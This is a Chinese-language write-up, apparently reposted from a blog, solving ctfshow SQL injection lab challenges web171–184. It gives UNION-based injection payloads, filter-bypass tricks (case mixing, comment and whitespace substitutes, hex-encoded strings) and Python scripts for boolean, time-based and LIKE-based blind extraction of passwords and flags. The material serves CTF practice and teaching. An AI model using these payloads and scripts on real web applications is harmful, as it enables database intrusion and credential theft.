当前位置: 代码迷 >> 综合 >> ctfshow- sql注入(web入门)
  详细解决方案

ctfshow- sql注入(web入门)

热度:39   发布时间:2023-12-05 08:34:22.0

目录

 web171

web172

web173

web174

web175

WEB176

web177

web178

web179

web180

web181—182(180也可以用)

web183

web184

 web171

简单的注入

//查表名
payload =" 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"//查列名
payload =" 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"//查flag
payload =" 1' union select id,username,password from ctfshow_user --+"

web172

根据题目提示看到返回的信息不包含flag

利用

1' order by 1 --+     //回显正常
1' order by 2 --+   //回显正常
1' order by 3 --+  //回显错误

查看列数。

再利用

1' union select 1,2--+

查回显位为,再根据171中的步骤查数据库,表名,列名。

//查询返回的结果不能有flag,可以利用base64或hex绕过payload =" 1' union select to_base64(username),to_base64(password) from ctfshow_user2 --+"

web173

通过

1' order by 1--+  1' order by 2--+1' order by 3--+1' union select 1,2,3--+

查询得出是列数和回显位,其它都是和web172中的类似。

web174

这道题可以先在查询框中随便查询1或2或3,发现没有回显,猜测一下可能是盲注。

首先用bp抓包试一下,得到关键信息

http://f5096abc-7db4-4448-8da0-fccd604899d9.challenge.ctf.show/api/v3.php?id=11&page=1&limit=10

用脚本尝试一下没有回显信息,根据前面的经验,这是第四题尝试改为v4.php?id=1,发现出现回显信息。

我们可以这样写脚本

import requestsurl = "http://f5096abc-7db4-4448-8da0-fccd604899d9.challenge.ctf.show/api/v4.php?id=1' and "result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) // 2payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- '         #f是将{i}和{mid}格式化输出r = requests.get(url + payload)    if "admin" in r.text:         #通过前面回显信息“admin”来判断ascii的值是否比mid的值大head = mid + 1       else:tail = midif head != 32:result += chr(head)else:breakprint(result)
payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- '

我们深入理解一下这个payload,首先是f'xxxx',是将{i}和{mid}格式化输出,即包含的{}表达式在运行的时候会被表达式的值替代。

substr(str,{i},i)的意思是从str字符中的第{i}个位置开始返回一个字符

ascii()是将一个字符转化为ASCII值

if(ascii(substr(....))>{mid},1,0)语句进行判断,如果返回这个字符的ASCII值大于{mid}则返回1,否则返回0。然后结合前面的f'1=.....,返回1的话,1=1成立;返回1=0的话不成立,从而达到二分法缩小范围的目的。这里的二分法如果不太理解的话,可以先假设要查询字母的ASCII值为70,然后直接按照程序一步步算一下就会明白了。

web175

 题目差不多,试了一下174的盲注没有返回,大致可以猜测是时间盲注。

import requestsurl = "http://3c50fbcb-6339-41ba-9cde-52665e0a95b0.challenge.ctf.show/api/v5.php?id=1' and "result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) // 2payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'        try:r = requests.get(url + payload, timeout=0.5)tail = midexcept Exception as e:        #出现异常的处理方式,即查询的该字符的ascii值大于mid的值head = mid + 1if head != 32:result += chr(head)else:breakprint(result)

WEB176

看到题目提示简单的过滤,按照老方法(1' order by ...... --+)先查看列数为3。

接着用1' union select 1,2,3--+查询回显位发现查询信息异常,猜测可能过滤了什么。

空格是正常的,因为上面的语句可以查出回显位。将--+换成%23上面的order by也可以出来

所以应该是union、select、有问题,先一个个试试大小写绕过

当payload为

1' uniOn seleCt 1,2,database()--+

发现回显成功。接下来通过正常的读表名列名....拿flag。

web177

题目还是差不多的,首先试一下1' order by .....--+

 发现有问题,把--+换成%23也是一样的结果,所以不是注释符的问题。

我们试一下1' and 1=1--+理论上说应该是恒成立的,但也是无数据。

尝试缩小一下范围,将语句变成1'and(1=1)--+,也是无数据。

 按理说这样子应该是成立,试了几次忽然想起--+的本质是-- (空格),可能过滤了空格,换成%23试试

发现有回显,这道题过滤了空格。所以可以用/**/替代空格。

payload:

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

 按照老一套找到flag就行了。

web178

题目没有什么变化,过滤了一些东西,闭合方式还是一样的。

显示无数据,把空格去掉试试,发现可以成功。因为--+的本质是-- (空格),所以测试是不是过滤空格要把--+换成%23 

接着我们试着用上一题的/**/试试,发现过滤了什么

 把*去掉试试

可以确定是过滤了*号

过滤了*的话,我们还可以用%09替代空格。

payload:

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

用178的测试方法发现还是过滤了空格,但用%09绕过已经不能用了。

可以根据ascll表来测试哪个可以替代空格。这里测试之后发现%0c可以。

直接上payload:

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

这题也是简单的过滤,写多几题发现一个好用的方法,先用

1'and(1=1)--+

  进行测试,发现无数据,猜测是过滤了空格或者是”-“,尝试换成%23和/**/发现也没数据。

 猜测一下是过滤了空格,尝试用%0c试试

 直接构造payload一把梭

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c

web181—182(180也可以用)

这题过滤了挺多东西的,没想到怎么通过上面那些方法查flag,参考了Y4师傅的wp

payload:               -1'or(id=26)and'1'='1

利用了and的优先级大于or,该payload的逻辑是先判断and左右两边是否为真,如果为真则再按从左到右的顺序查询or

根据上面的题可以发现flag在id=26的地方,但因为该题目只返回一条数据,所以or只能构造出表中不存在的数据,例如这题构造了-1,and判断后查询id=-1的数据发现不存在,进而进行查询id=26的数据。

web183

这题看到题目过滤了挺多东西,但有$_POST['tableName']这个注入点,同时查询结果返回用户表的记录总数。

可以用where'xx' like 'xx'模糊查找

1、tableName=(ctfshow_user)where(pass)like'ctfshow{%'
2、% :在sql中通配 N 个字符
3、_ :通配任意一个字符
会发现返回结果  $user_count = 1;代表匹配到了一个,利用此模式盲注

这里利用脚本直接盲注

import requestsurl = "http://cc9ac480-5917-4e26-8d69-78f43bc6ffa3.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"for i in range(0,40):for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":data={'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}result = requests.post(url,data)if 'user_count = 1' in result.text:flag += jprint(flag)if j == '}':exit()break

web184

184注入点还是原来的post,但是这次过滤了挺多东西,where过滤了意味着用不了上一题的方法 ,可以尝试group by +having的方式进行模糊查询。

重要的是这里过滤了引号,对于这个可以采取十六进制的方法绕过,我们在bp测试一下

,可以看到成功查询到结果。(0x63746673686f777b25=ctfshow{%)

所以这里可以直接上脚本

import requests
import sys
def change2hex(s):zimu=""zimu2=""for i in s:zimu+=hex(ord(i))      zimu2=zimu.replace("0x","")# print(zimu)# print(zimu2)return zimu2
url="http://31c6a825-47f6-4b91-be77-31c1a947122b.challenge.ctf.show/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):for j in letter:data={'tableName':'ctfshow_user group by pass having pass like {}'.format("0x"+change2hex(flag+j+"%"))}res=requests.post(url=url,data=data).text#print(res)if "$user_count = 1;" in res:flag+=jprint(flag)breakif j=="}":sys.exit()

第二种方法是可以用右连接来做,

 脚本

import requests
import sys
def change2hex(s):zimu=""zimu2=""for i in s:zimu+=hex(ord(i))      zimu2=zimu.replace("0x","")# print(zimu)# print(zimu2)return zimu2
url="http://31c6a825-47f6-4b91-be77-31c1a947122b.challenge.ctf.show/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):for j in letter:data={'tableName':'ctfshow_user as a right join ctfshow_user as b on b.pass like {}'.format("0x"+change2hex(flag+j+"%"))}res=requests.post(url=url,data=data).text#print(res)if "$user_count = 1;" in res:flag+=jprint(flag)breakif j=="}":sys.exit()